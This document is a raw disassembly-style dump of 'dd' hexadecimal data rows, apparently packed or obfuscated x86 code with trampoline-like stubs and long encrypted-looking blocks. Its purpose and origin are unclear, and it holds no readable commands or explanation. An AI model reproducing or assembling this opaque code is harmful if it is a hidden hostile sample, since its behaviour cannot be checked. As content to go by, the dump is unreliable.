		dd 2474895Eh, 24448104h, 1704h,	0C3564600h, 0DEB2D349h
		dd 6798D89h, 6A0607h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 140424h, 56460000h, 14E892C3h, 27000000h, 2123AA8Ah
		dd 0E1E511EFh, 0F09D6ACCh, 0DC55EBA4h, 89884F14h, 7066995h
		dd 85C75806h, 6072CE5h,	59D0h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Dh, 50C35747h, 0A0C4430h, 856C6872h
		dd 0C18B66F9h, 2D0585C7h, 607h,	6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 5798E8C3h
		dd 5E7ACDCBh, 8A3D9990h, 21B5FFC7h, 1060732h, 71BC58Dh
		dd 0BD95FF06h, 6A060700h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 18042444h, 46000000h, 0F21BC356h,	819AB79Eh
		dd 101529E7h, 0FF006A2Eh, 716B595h, 0EBC08B06h,	13CA8918h
		dd 9A9349DFh, 0A5C46D28h, 21AAC09Eh, 0E3458F0h,	788B1B09h
		dd 0CF8D8D95h, 66060DC6h, 89BC7DB8h, 706798Dh, 38A0F06h
		dd 80000000h, 85C7A2F2h, 6072CE5h, 73A8h, 0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 1Ch, 16C35343h, 56E6CFB4h
		dd 0AD22A8A7h, 26F5B509h, 81660607h, 0C7522BD2h, 72D0585h
		dd 6, 0A1B5FF00h, 6A060705h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 19042444h, 47000000h, 4B7DC357h, 0AC8374E2h
		dd 0BD950960h, 89060704h, 71DDD85h, 95FF6106h, 60700BDh
		dd 0C89BD8Bh, 6A0607h, 16B595FFh, 0C08B0607h, 3BE009EBh
		dd 22589EADh, 0E84B25BDh, 13h, 24CBB0BBh, 32428B75h, 950A4189h
		dd 0C24894CDh, 0B7935E0Fh, 0F6059FBh, 0C18BCEB7h, 0B9C18161h
		dd 66000072h, 26BFD78Bh, 814EC4BDh, 0C4A1A3F7h,	0CA81664Eh
		dd 31FF8209h, 0BA6658F9h, 0F0819F0Bh, 20E10981h, 0E858589h
		dd 0E8810607h, 62B22B37h, 0F0812AB3h, 579BA8D6h, 34F38166h
		dd 8001892Dh, 0E98101EBh, 922B1D4h, 81F6BF0Fh, 22B1D0C1h
		dd 4FEBB609h, 11850Fh, 2AE90000h, 0B7000000h, 0F1932ECDh
		dd 604F5CA8h, 8BA2D59Eh, 710259Dh, 0FFA0E906h, 0D589FFFFh
		dd 419CBF3h, 82363FCCh,	5B3E1B56h, 0BDE5252Fh, 10E81Eh
		dd 2B910000h, 0ACE899F5h, 0B10E96Ch, 0CE39F60Eh, 0C88A1742h
		dd 25958B5Fh, 81060732h, 66AAC7h, 0F605100h, 8B66D2BFh
		dd 685A61D8h, 1981h, 0B7D55BBh,	0BA66585Ah, 378BD101h
		dd 6BC9BA66h, 2364EE81h, 0BF0F543Dh, 0B2C681CEh, 0F77C557h
		dd 583h, 8C0DB900h, 0EE816BDCh,	77B55659h, 8960C180h, 4EF8337h
		dd 59B58B60h, 0B060720h, 7020D85h, 0E8816106h, 1, 17850Fh
		dd 0BF0F0000h, 22E9D3h,	0C6C10000h, 44FD2015h, 6CAE8FFBh
		dd 1E8DB653h, 5DBD01EAh, 0E9060705h, 0FFFFFF96h, 0C54E937Dh
		dd 4D4C64DCh, 0C93E8D8Dh, 0AE8060Dh, 0C7000000h, 0DDC29642h
		dd 6EFD72F1h, 5E5A515Bh, 6798D89h, 850B0607h, 6073279h
		dd 2CE585C7h, 5AE00607h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1A0424h, 53430000h, 231EE4C3h, 0C025B075h
		dd 95B58B60h, 0FC060703h, 585C761h, 6072Dh, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 18042444h
		dd 42000000h, 0A5A4C352h, 89640CBEh, 7019595h, 0C5B5FF06h
		dd 6A060732h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1B042444h, 40000000h, 8116C350h, 91F9902h, 0BE901FAh
		dd 85000000h, 3886B28Bh, 0EEF56EEFh, 0AE8A9D1h,	0C0000000h
		dd 6E42AF8Bh, 65F0C472h, 0CD9D8BA9h, 5B060708h,	0BD95FFh
		dd 6A0607h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h
		dd 52420000h, 0FD5C96C3h, 0FF006AFCh, 716B595h,	0EBC08B06h
		dd 0CE05825Ch, 0AC21CED6h, 0FC628077h, 9B62998Fh, 0BFB39098h
		dd 32E88FE5h, 69137C67h, 696BA6B3h, 7074199Bh, 0F4951B03h
		dd 141CC77Fh, 0CD94700Fh, 7DDA899Dh, 0B703ECB4h, 9D586F69h
		dd 0FEA92DA6h, 8E298C87h, 9D9F761Ah, 0A2015813h, 0B021EA1Bh
		dd 0EFFFB531h, 0B1C06BCFh, 8F8D6116h, 0EE800h, 0C2500000h
		dd 0B5A0FB47h, 3B526818h, 39E037h, 2AA5BD89h, 8B5E0607h
		dd 70DC195h, 39C68106h,	0F8000067h, 0DBE099BBh,	35F38118h
		dd 0BF18DBF9h, 184D91DFh, 8B66068Bh, 42C081C8h,	0F37CAB6h
		dd 383h, 0D3B70F00h, 0C778C081h, 0C0810FF8h, 38CBE342h
		dd 0E78150F9h, 2361E7EFh, 9589068Fh, 6071B29h, 1A9EE81h
		dd 890F4D82h, 6, 3958D8Bh, 0C6810607h, 4D8201A5h, 15AD9D29h
		dd 0EB830607h, 0A9850F01h, 66FFFFFFh, 0E93D1CB9h, 8, 64289509h
		dd 0
		dd 4B6E9h, 0CB776800h, 1FE9060Dh, 68FFF9B1h, 60DCBF3h
		dd 0F9B115E9h, 0CD4168FFh, 0BE9060Dh, 65FFF9B1h, 0FDCBA9B2h
		dd 98664417h, 3705E378h, 0D4A280DBh, 0A13C1A41h, 52090CCBh
		dd 0EB70A674h, 87D43F0Dh, 2536DBA9h, 0A917547h,	84D53528h
		dd 434D3ADh, 0A6644A11h, 510CEF6Ch, 7957040Dh, 0CEB46AEFh
		dd 0DF66DE56h, 7EC76AFDh, 684A3F82h, 0ED7EC76Bh, 33AC7AAh
		dd 4078BF98h, 4A5217FDh, 0B691AB62h, 0EF6CAAD6h, 6E44510Ch
		dd 0FC78BFC2h, 0B470A260h, 0BFC24B2Dh, 0DE8DD078h, 0EF146BFBh
		dd 0E4905A96h, 2F0F5h, 0EBF31C00h, 0BDA37BDEh, 0BF975336h
		dd 0FE18D878h, 4BBEAE5Dh, 5B5AA7FCh, 58BEE376h,	0A8FFD003h
		dd 0BE1ABB32h, 2AB1290Fh, 7B5B0148h, 5E3406CDh,	7A9435D5h
		dd 2EEF98CBh, 372732B2h, 0E65ED654h, 5B287D5Fh,	556BB7Bh
		dd 0F3361BE2h, 43F88310h, 37FC7553h, 0AA35DCB4h, 6BE8CBBAh
		dd 1C050528h, 0A368E0C6h, 0AF238242h, 9C290C14h, 6F4C35DAh
		dd 38F6DC1Fh, 0E2C44BD9h, 206F4CBCh, 3E8166F5h,	2EE3B18Fh
		dd 768CF62Dh, 52B31B14h, 2CC56h, 0BF9C7B00h, 5A0113E1h
		dd 0F962AE7Ch, 96C54D1Bh, 302BEAB8h, 22B5B752h,	0BC8A68F3h
		dd 5523015Ah, 0F1BF9DBEh, 8B5D3B20h, 363E20A7h,	0E9C384D5h
		dd 9D1484Ah, 0AEAD6523h, 17D54DCBh, 0EC795CFFh,	78B9375Ch
		dd 0B8301659h, 624516FAh, 0FEE4779Eh, 0EC731739h, 6C4F261Eh
		dd 6EED28F6h, 0E5693E4Bh, 729F78B9h, 4685E565h,	6EA73F41h
		dd 5403CAEDh, 321E6EA5h, 0C02111A7h, 250C4h, 3B20F700h
		dd 0D6858F5Dh, 75E62AF8h, 1249C997h, 0ACAF6634h, 9E3933CEh
		dd 3806E477h, 0D19F7DDEh, 6D3B1942h, 7D9B7A4h, 36BA9C23h
		dd 653F84D5h, 858C4AC6h, 9ECB3D6h, 644A9089h, 0F93D27ECh
		dd 7A46171Eh, 917A0A97h, 347778B9h, 0FB2E0411h,	0EBC78B9h
		dd 25F392A9h, 8698E496h, 0BF000001h, 2B4E0D04h,	4B312AE7h
		dd 0B2D5868Dh, 89208EBh, 5CE3C911h, 78C07B89h, 2D86480Dh
		dd 87B7BE5Bh, 80B3834Eh, 96792A1Ch, 0A4B75919h,	0EFC5D2F5h
		dd 7D78C020h, 3253E8CFh, 59E48FFFh, 55h, 5243A267h, 9F01B922h
		dd 5538E774h, 0D2D148F0h, 0C76B694Bh, 0FCABEE7Eh, 35179E16h
		dd 737EC76Bh, 0CF96B9A2h, 46C4A7EAh, 203409CEh,	3B3B2AEDh
		dd 0FFF4CB58h, 2E7178BFh, 0A028FE0Bh, 1AB678C0h, 0F50D3455h
		dd 72557210h, 1F669DE2h, 6CE48F63h, 94h, 4E0D0493h, 2D2EE72Bh
		dd 104BC60Ah, 0F368A9EDh, 6E827E15h, 88467EC7h,	2BEFD289h
		dd 178F75E6h, 7B9EBD59h, 65DDBFB4h, 1F627EC7h, 793EC63Ch
		dd 0CA4CA7B7h, 38B89BC3h, 0C3987C21h, 442AD9A0h, 0BCF40BBDh
		dd 270D5078h, 0D1AFAC69h, 12491203h, 11A38F84h,	25E5ABBh
		dd 45000001h, 0DDAB89D2h, 78462437h, 17E5C398h,	0B48260FBh
		dd 811CFA61h, 3229ECEBh, 0CB908654h, 67F41FEDh,	556BB89h
		dd 0EA715527h, 84D53808h, 414B38Dh, 9E6C4A11h, 9B0AE873h
		dd 2B4E0D04h, 53312AE7h, 60D50C9h, 39C0A655h, 78BFB57Fh
		dd 0DD9B81C4h, 8365EC38h, 878C01Dh, 0B53316C5h,	0AB91EF7h
		dd 8539D7B0h, 2BE9CF7Eh, 8A5174E7h, 0C49A31A7h,	0FA78BF86h
		dd 1927C017h, 0D30655C1h, 20CFE9EAh, 593BC23Ah,	0DE78BF75h
		dd 7442B89Bh, 9B97BAA1h, 6Dh, 9D14838h,	38089C23h, 0CA0D78B9h
		dd 0ADAE63A7h, 540709C7h, 0E42DFB71h, 70F5F7F3h, 37E6368Fh
		dd 0DC7F9351h, 540FF2B9h, 9459DA47h, 166D35D6h,	31139A12h
		dd 0B61694A3h, 92C94773h, 3526EBAFh, 0D3888957h, 0B5A66CB0h
		dd 0A3188692h, 0DBC19A77h, 2EE7F71Dh, 259B7E2Dh, 0BBA1BA57h
		dd 3D51BCF6h, 0CAADCFD8h, 3130Fh, 20B00000h, 48130415h
		dd 2B30E125h, 0C4FC408h, 0EA71A5E9h, 0C99283C7h, 0A8B362A6h
		dd 8AD14185h, 6EED2367h, 4E0D074Bh, 89572A2Bh, 4C781E7h
		dd 81000000h, 4EFh, 243C8700h, 2414895Ch, 361F68h, 242C8900h
		dd 81E68956h, 4C6h, 4EE8300h, 5C243487h, 51241489h, 28033668h
		dd 0D1F7590Fh, 8104E9C1h, 0F12BEC1h, 64C9813Eh,	817E4714h
		dd 0AE3373C1h, 59CD8986h, 24148B54h, 4C481h, 1F680000h
		dd 89000049h, 0E8892404h, 58084289h, 5A2434FFh,	8B04C483h
		dd 8952242Ch, 4C281E2h,	81000000h, 4C2h, 24148700h, 0AC78E95Ch
		dd 1FF1FFF9h, 0B85FB511h, 60DCE68h, 0E0FFC503h,	5FB041Dh
		dd 56C19DEDh, 5D4C7898h, 3EE12322h, 3811227Dh, 50D09C0Ch
		dd 0D8030EDh, 4BC951B1h, 45A4B519h, 835D632h, 70C141CEh
		dd 301D6685h, 20795BF3h, 59E4C9FBh, 6C26C68Ch, 3FC5A0FDh
		dd 21288898h, 69DB5352h, 6A0648Bh, 7D2B6B91h, 25B6F7BBh
		dd 6ADEF77Dh, 6B4FFB6Bh, 0D04B8D8Dh, 6A060Dh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 0B81F42C3h
		dd 0C1F0A010h, 8D89257Ch, 6070679h, 6810Fh, 95090000h
		dd 60731A9h, 2CE585C7h,	62D00607h, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 3D90A2C3h
		dd 46D6809h, 896056D0h,	710D195h, 0FD950906h, 6106070Dh
		dd 2D0585C7h, 607h, 0B5FF0000h,	6070399h, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 14h, 90C35141h, 0BD95FFh
		dd 6A0607h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h
		dd 55450000h, 0E53D14C3h, 52FCD705h, 13E9E207h,	5000000h
		dd 36C52822h, 96BDAD08h, 0D1CF358Bh, 0E053F698h, 6A4C45h
		dd 16B595FFh, 0C08B0607h, 0CB590DEBh, 73F525FFh, 0FCD63C95h
		dd 0E82DC1A3h, 14h, 9BBBC734h, 41669E13h, 0B4C6AEC9h, 0FF93BCBFh
		dd 849B6E3Dh, 76BB665Eh, 80C6819Ah, 60000062h, 12CD9D09h
		dd 8D290607h, 60710A5h,	31C92B61h, 7160D95h, 0E148B06h
		dd 81DABF0Fh, 10645BC2h, 0BE92Fh, 0D4C50000h, 6095FFFBh
		dd 87B272E4h, 0D3EA8170h, 666B4CB9h, 81444DB8h,	7C5684F2h
		dd 0FE92Bh, 0E57A0000h,	11235A5Ch, 876B2431h, 948130D3h
		dd 0E14896Ch, 2DF18529h, 5E90607h, 47000000h, 0E8FA6679h
		dd 8102E983h, 445026E0h, 8B494955h, 7038DBDh, 50F98106h
		dd 0FFFFF9Eh, 1E85h, 0CB816600h, 25E9ED96h, 0FE000000h
		dd 1664BE4Dh, 3971145Eh, 0F268B847h, 0FFD0A33Dh, 0FB5A850h
		dd 6AE9DFBFh, 0BFFFFFFFh, 9195E6DCh, 0D5A5E59Dh, 0EE9h
		dd 0E903F100h, 2Eh, 0
		dd 0E9000000h, 0B03h, 0DD30868h, 6F38E906h, 2368FFFAh
		dd 0E9060DD4h, 0FFFA6F2Eh, 0DD5E068h, 6F24E906h, 0CA68FFFAh
		dd 0E9060DD6h, 0FFFA6F1Ah, 0DD86368h, 6F10E906h, 0E568FFFAh
		dd 0E9060DD9h, 0FFFA6F06h, 0DDAD968h, 6EFCE906h, 3481FFFAh
		dd 88C934B3h, 420D78F7h, 0C4FBA39h, 0C795007Fh,	2AD845C4h
		dd 6FEEFDBFh, 0B231B404h, 0F9787347h, 3AB9C08Eh, 0DCF3664Bh
		dd 0F62041AEh, 0A41B6FC4h, 0D760D0DBh, 5877EA89h, 7A264C7Fh
		dd 0EB8CF051h, 239716A5h, 6FE25BFBh, 2C538F6Fh,	39400E85h
		dd 0DD416AC9h, 0B48F0B40h, 0BC0548DFh, 0B48F0649h, 0B3234CDFh
		dd 0B18FEDBAh, 5E732DEFh, 70h, 0E6BF0077h, 4CB01198h, 74D8EBABh
		dd 0FF48B819h, 705FD21Bh, 38264C7Fh, 0A7026679h, 0E9FABB2Ah
		dd 59C92A85h, 86FF07C7h, 53AF3F13h, 77F0192Ch, 0AF94BB2Eh
		dd 40C9DFB4h, 8BE291ECh, 1E8EB734h, 572365D8h, 0BE33D898h
		dd 54ED343h, 2BDFB4CFh,	53F4586Bh, 2DA76D0Dh, 0C7EDB7A8h
		dd 0A4930266h, 593AB6D7h, 0E2502E8Ch, 0EDFF732Dh, 2A000000h
		dd 9F18A3EDh, 7FECE356h, 0BDE6264Ch, 1D94074Dh,	48E94D5Eh
		dd 0A616770Ah, 0E84C5F1Dh, 0E727947h, 1998236Dh, 4C84ABB2h
		dd 0ECFFC126h, 2DBC026Dh, 57FF1FC9h, 724B6BDEh,	2AA1D3ACh
		dd 8AE95968h, 2EA5E261h, 9FFA5E6Dh, 0B929BCF8h,	0E65FE727h
		dd 0AEDA8173h, 3D95D7D5h, 0A7533E13h, 0C6D9983Fh, 38970762h
		dd 0D24B84F7h, 5E87D5A3h, 0F93B84FDh, 0B82B2EF1h, 0D5A3AB97h
		dd 0A72092BBh, 0BE47B71Ah, 36EEDFCh, 658D32B1h,	3913BA8Ch
		dd 89F2F67h, 0A0F50000h, 7C3DA827h, 3E81EC6Bh, 0F0C32EADh
		dd 4B0974F3h, 0B64CB938h, 0EB6A793Bh, 2EAD3080h, 75F4F7C3h
		dd 0B635440Ah, 606FE2C7h, 722041ACh, 0D21BEB40h, 7F391689h
		dd 0F019264Ch, 4C7F024Dh, 0EE165026h, 0A8E0F11Bh, 982191F2h
		dd 0DD48C7DAh, 0EFF2C293h, 5BD20F8Eh, 0D31C8C1Fh, 0A31C38E4h
		dd 53AF1C30h, 82F5362Ch, 0DFB4AF4Dh, 70E35C85h,	0DFB4AF5Fh
		dd 85E94A73h, 0B4AFE3E8h, 0F3F4C5DFh, 1BAEEE8Fh, 39069BB7h
		dd 0EEBB9C18h, 2DCBB290h, 0D26173h, 0ED8C0000h,	386D2A3h
		dd 96B92C9Fh, 0BC264C7Fh, 6DD13293h, 97FB8ECCh,	4C84E3FAh
		dd 34470926h, 75044AB5h, 9FA76711h, 75B3B326h, 72E9D3ACh
		dd 0E03B9F22h, 6FE81170h, 8D9CB326h, 47B6DFB4h,	0B30E7279h
		dd 0D81E252h, 59CC45C1h, 0D5AEDA98h, 7EDB8CCEh,	29C7DB1Ah
		dd 89F95A6Dh, 5976E92Ah, 79D5A382h, 2D76EF50h, 0D3A0E5B6h
		dd 0B00B6FD0h, 0D4384B09h, 32800979h, 0F7C530AFh, 61AD4FF4h
		dd 0B38513BAh, 7847Bh, 42451000h, 861958C3h, 0C8D39C07h
		dd 0E9DDE49h, 5356248Fh, 529B67D4h, 97028100h, 0DA45C4C7h
		dd 218C0B9Eh, 0DECD4C5Fh, 0AB4986F9h, 57892041h, 1CAFED02h
		dd 0AAE9609Dh, 5E20A919h, 0E7F2BC33h, 4A852883h, 88264C7Fh
		dd 547FFE5Fh, 9F18A3EDh, 0E7576A28h, 2BBE00A1h,	0CF6070B2h
		dd 6AAE5463h, 0F92599FAh, 6971E45Dh, 0AB2C533Bh, 337D1E82h
		dd 0F0BE29A8h, 84E885E9h, 0F7546B26h, 0A7A81B64h, 0AF54FF1Eh
		dd 0FF1E133Ch, 99163F54h, 0A9E3A45Fh, 0E94A1FC8h, 4CB38079h
		dd 0BBF87702h, 63F43072h, 59C307F7h, 0FFB699B6h, 2090B954h
		dd 37AAC997h, 54FFB618h, 3230003Ah, 4291EC73h, 7F1C80E1h
		dd 54FFE753h, 0C3FCC962h, 75680C4Ch, 0E2C7424h,	26AF1F80h
		dd 96D85158h, 3CF9A3F6h, 0BD1E8E98h, 197D0C52h,	0FFD1547Ch
		dd 0D29F8E54h, 1D96256Bh, 63D3D6A6h, 0C2C99702h, 80280749h
		dd 49347D6Dh, 0A618790Ah, 504C07C9h, 0EE34A490h, 33B6047Bh
		dd 69ED31C3h, 0E75EA7F0h, 58B31794h, 0FFE59AB5h, 477B854h
		dd 54FFE5CBh, 0D7DDE07h, 0E0061488h, 0B6355E5Eh, 17A9A42h
		dd 0FFDDB68Eh, 5CE0840h, 3F4C1325h, 87E9B5CDh, 2925C226h
		dd 2C40E9EDh, 0CE457E4Bh, 3E99FD8Ch, 91704ECEh,	6E1FDFDAh
		dd 4A000003h, 67A74652h, 65C9DA99h, 0BD30A90Ah,	2C53ABEDh
		dd 0A61D96BFh, 0FF65D5D4h, 0B0AB8ACCh, 30811CEEh, 0DA503BC0h
		dd 0FCF5EA3h, 0E31B8E07h, 7554BA08h, 9E3EE84Ch,	72B4FD76h
		dd 0EC74E031h, 4BD0402Ah, 5EB4C761h, 1A910A33h,	5BC64554h
		dd 2DE18615h, 218C825Eh, 5C7174Fh, 88CD0000h, 441580FFh
		dd 1659C443h, 0D89B0685h, 93E14CCBh, 0DE249110h, 0C3424113h
		dd 6851858h, 4DCCDF9Bh,	8E0D9CE2h, 847BA9Fh, 4A2041AAh
		dd 0A41BC318h, 1570D4D7h, 4BCB13A5h, 9F475FD2h,	70992C53h
		dd 96256B0Ch, 6E61D41Dh, 64DFB49Fh, 0E485CB3Bh,	4689FC97h
		dd 8CDFB49Fh, 0FD9E0263h, 2CC62ABDh, 394C693h, 724827Eh
		dd 0C88D1778h, 0C3438BFBh, 82CFD74Ah, 0A211D5ABh, 0F6ACEDDh
		dd 0FAC42FAEh, 0A4EA8BEFh, 7E17B115h, 64044AB1h, 96E46916h
		dd 0E254AF13h, 0C728C914h, 0BF08E648h, 6EB76D25h, 0E2000002h
		dd 0A31C38E4h, 5A505A30h, 0C689F82Ch, 3E4D0EB5h, 0A51E7FDAh
		dd 0DE5D6C2Eh, 3EA22173h, 0C00F82CBh, 12DFBE51h, 73D4D7A3h
		dd 51547E03h, 138ADFBEh, 83DE4241h, 0B5C48A13h,	0A7B30610h
		dd 0C800D219h, 4DDh, 6AE9E2B7h,	0AE2DBEFFh, 0F06F7C43h
		dd 36B53685h, 7BFA89CBh, 0BBF9F40Eh, 7E3EA928h,	3581EC6Bh
		dd 86C833B2h, 0A08574F3h, 41A9222Dh, 0A9FE3020h, 85D638E4h
		dd 0E647A206h, 5090FA6Dh, 99C22C5Ah, 0BFCA9435h, 63D50446h
		dd 21CB211Ch, 0BE8EA1AEh, 2788B1DFh, 0A5EB56B7h, 0C83FB216h
		dd 626DE08Bh, 70DFBE8Eh, 2782E647h, 59602EB7h, 17605BF5h
		dd 0BE8EABA4h, 0E7EA7DFh, 9FE14815h, 0E508D0Ch,	89A69A6Bh
		dd 0BBBE0CE8h, 0B2664001h, 8361E151h, 30732767h, 191h
		dd 18A3ED5Bh, 0E5FF41B4h, 94D02681h, 0EAFDBD64h, 1CAFF17Ah
		dd 141E609Dh, 0C69C9723h, 0EC30C232h, 2FA6EF68h, 67EC5C6Fh
		dd 2C534367h, 34B7067Dh, 0C30748BBh, 224BDFB5h,	0C62A53B2h
		dd 0B8970A53h, 9ADFB5C3h, 577C0171h, 84DFB5C3h,	5B9DD6A3h
		dd 153DBA38h, 77F76737h, 732E2C99h, 3F46h, 38E47100h, 0F1C182D6h
		dd 0CE2F8AEEh, 35AE0F6Ah, 53AF8EC2h, 3B9FC82Ch,	0B4AFB59Eh
		dd 0EC63A6DFh, 5AB519ACh, 0C624F1EAh, 732DCBE8h, 7DC086C8h
		dd 0D7418503h, 0FC606330h, 0A0A531A1h, 0D0000000h, 66A2D91Bh
		dd 883B72A3h, 9C0C9FE1h, 0DA3E4D13h, 0A5002567h, 26BCD489h
		dd 5C6F2DB6h, 4D0E85F8h, 7B45CE3Eh, 22990C70h, 34470952h
		dd 0A4146FD3h, 0C746551Bh, 4C025960h, 56269D26h, 145AE353h
		dd 4A920685h, 81DE51CAh, 0D12C56A8h, 0FAB82FA8h, 0BFFD68E7h
		dd 4A77872Ch, 0A57719A3h, 3446Dh, 82055000h, 0C6D99803h
		dd 893DC47h, 4E5D1E89h,	931664CFh, 925BA714h, 0D742C1C0h
		dd 1A850487h, 61CC4B5Eh, 1E0D8C1Fh, 0A789C639h,	97C92041h
		dd 1CAFED42h, 5D682CA3h, 5F218CEDh, 0EDA2CD4Ch,	289F18A3h
		dd 0A2E8586Bh, 0E5F8B82Fh, 2DB62681h, 9CD95863h, 7FEFE053h
		dd 0BAE3264Ch, 0F014B84Ah, 9C980477h, 99DA2C53h, 0B49C2926h
		dd 95BA2DDFh, 0BDDFB49Ch, 0E8A81794h, 0AF1374D5h, 0B49C3F12h
		dd 8E5BF4DFh, 0DD56FE1Eh, 0AB7F366Ah, 981740D5h, 18A3ED6Dh
		dd 3E4D13B4h, 4F0B82BFh, 923ACC3Ch, 0FFB7F972h,	4D7AC08Fh
		dd 1083DE4Eh, 2C53B430h, 0F895F922h, 0DFB554D3h, 0A10586D5h
		dd 0CA2EB100h, 4C7E4B7Ch, 0E6917A4Eh, 5BD7381Bh, 714FAD7Ah
		dd 1E732E01h, 32h, 1C38E449h, 0AF1C30A3h, 0D362C53h
		dd 0AFC70CA9h, 3314DFB4h, 9BE42D66h, 0B4AF2728h, 5F022BDFh
		dd 0DFB4AF70h, 49C93962h, 732DCB6Bh, 0CC18h, 0A3ED4300h
		dd 4113B418h, 7F98B72Ah, 91BA264Ch, 0B317AAEAh,	0F293F758h
		dd 883D7ACh, 34B703A4h,	58632CD3h, 0ACF293F7h, 2E379E1Dh
		dd 74264C84h, 0BE2EB9FDh, 0E1606B35h, 5B6C2DA4h, 0A32C9CF7h
		dd 0B6C988DDh, 3296F752h, 47C04488h, 0AC5E5CD4h, 0D6557ED3h
		dd 219ABA62h, 0AEF9D7AEh, 57EA7D5h, 32A5CC8Eh, 0D5A3571Dh
		dd 2CAB0C35h, 4BF0F3C1h, 13BAB4A9h, 0C21F5729h,	0D2000001h
		dd 1A850487h, 5EC9485Bh, 0A00B8A11h, 0E651D0D3h, 29961594h
		dd 3F4210D9h, 820555C0h, 0C9DC9803h, 0A91DF4Ah,	44B79C8Bh
		dd 2041A60Bh, 0EDC01547h, 685D6AFh, 0F5BB26A5h,	0D7F2D6D5h
		dd 5A015BEFh, 0CB268A19h, 65AEEB6Ah, 4C3EDDF2h,	5CCCF526h
		dd 1C38E413h, 0AF1C30A3h, 0C7362C53h, 1B94F5F6h, 5CD5D0A4h
		dd 0B4AFE6E9h, 53C3ECDFh, 0AF5B700Dh, 9778DFB4h, 0CB8E6CCAh
		dd 0B03D732Dh, 68000000h, 0B418A3EDh, 0DE424113h, 1FAAF46Bh
		dd 6BF060BBh, 264C8452h, 26A5347Ah, 82E6F5BBh, 88CA34D8h
		dd 0AC1F98F9h, 0D3AC5E04h, 3AAE2D56h, 0B0F97292h, 0D71C096Eh
		dd 5910388h, 381D46ACh,	0E723D760h, 6B911686h, 0E9D5AE3Dh
		dd 0B5FE47C0h, 0A2140D42h, 0AC1C45D5h, 0D9525123h, 1D8D1C62h
		dd 6F0351BCh, 0A9CBA7CEh, 751A7B2Eh, 13BB4BC9h,	0CE437B4Dh
		dd 0C6000000h, 0E79F8F3h, 52BD3C4Fh, 94FF7E0Dh,	0DA45C4C7h
		dd 1D8A0998h, 3B4E0CE5h, 7E0151BCh, 0C5C094FFh,	695DB46h
		dd 40B39887h, 2041A50Fh, 0EDBC1143h, 487D6AFh, 0F7B924A3h
		dd 0ED3A65E4h, 13B418A3h, 4BBF3E4Dh, 930A8383h,	0F954C4C7h
		dd 5A500086h, 9E11522Ch, 0DFBE50B1h, 0B31778A1h, 0F487C940h
		dd 26B5FB84h, 67723CA7h, 59199003h, 1787E246h, 0C3710092h
		dd 71E87BB6h, 0DD389C2Fh, 0F7676236h, 84CA31FEh, 450B76F5h
		dd 6231D236h, 2C9FE861h, 0F7412F23h, 5096062Fh,	0D33A07CCh
		dd 0A1FAB88Dh, 0B6CCDDEh, 0F18A5092h, 98C546CDh, 0AC1CAFF1h
		dd 0B9EE04Bh, 46551B92h, 0D11787E2h, 0C99h, 0D91BEC00h
		dd 0E3F776F6h, 0B9C53590h, 1FA8EDE4h, 45541ABBh, 717440E1h
		dd 992C6C0Dh, 0C3C69435h, 0EDFCBE5Fh, 18ABE889h, 3F4C13B4h
		dd 687B3ADBh, 0EC839004h, 240C8904h, 0C181E189h, 4, 8704E983h
		dd 505C240Ch, 405E089h,	2D000000h, 4, 5C240487h, 57241C89h
		dd 0C781E789h, 4, 8704EF83h, 895C243Ch,	0BD552414h, 60DD194h
		dd 685D5B55h, 7BC5h, 83242489h,	5A042404h, 24048153h, 60626A8Eh
		dd 5108428Fh, 626A8EB9h, 84A2960h, 2434FF59h, 4C4835Ah
		dd 5B2434FFh, 4C481h, 47E90000h, 19FFFA64h, 695D5572h
		dd 0B81E1915h, 60DDBCCh, 0E0FFC503h, 6E3E1BD8h,	6F90C405h
		dd 219384ACh, 3780E65Bh, 26AFF95h, 0B7E6CB4h, 3E3B11C4h
		dd 11D9C7C2h, 4218CB3h,	174A2351h, 7A14860Ah, 2C831205h
		dd 5B0BAE86h, 46558289h, 7FCD695Dh, 1D784575h, 782AB2CAh
		dd 0D38E0B7h, 3600D826h, 77935AB1h, 3984309Ch, 39968409h
		dd 965FD49h, 0DDBD8D8Dh, 6A060Dh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1A0424h, 55450000h, 0A127ECC3h, 0A0723295h
		dd 1A810Fh, 830F0000h, 14h, 0EE8h, 7440AA00h, 0C318E629h
		dd 0CDFCE8C9h, 5ED83695h, 6798D89h, 6A0607h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 180424h, 56460000h, 0FFF05EC3h
		dd 0CE8CFB0h, 0C1000000h, 3EF8DC99h, 2449461Ah,	52EAAF03h
		dd 8A98589h, 5E580607h,	2CE585C7h, 6C000607h, 0BD890000h
		dd 60711DDh, 15D19D8Bh,	85C70607h, 6072D05h, 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 0DCC35040h
		dd 75858B9Ah, 0FF06072Bh, 721C9B5h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 6206DA78h
		dd 318D8952h, 0FF06070Eh, 700BD95h, 0FE8B6606h,	95FF006Ah
		dd 60716B5h, 9EBC08Bh, 1EBCDC7Dh, 0FD023D8Bh, 7E8D8D7Eh
		dd 6A060DDEh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 14042444h, 41000000h, 8997C351h, 706798Dh, 11E906h
		dd 0EC070000h, 0E60A8844h, 55EE31FBh, 69447BA1h, 0C767C34Eh
		dd 72CE585h, 60FC06h, 0FE800h, 0D01F0000h, 0E027C57Bh
		dd 0E6B91FC9h, 5C1253E8h, 39BD8B19h, 5806071Bh,	2D0585C7h
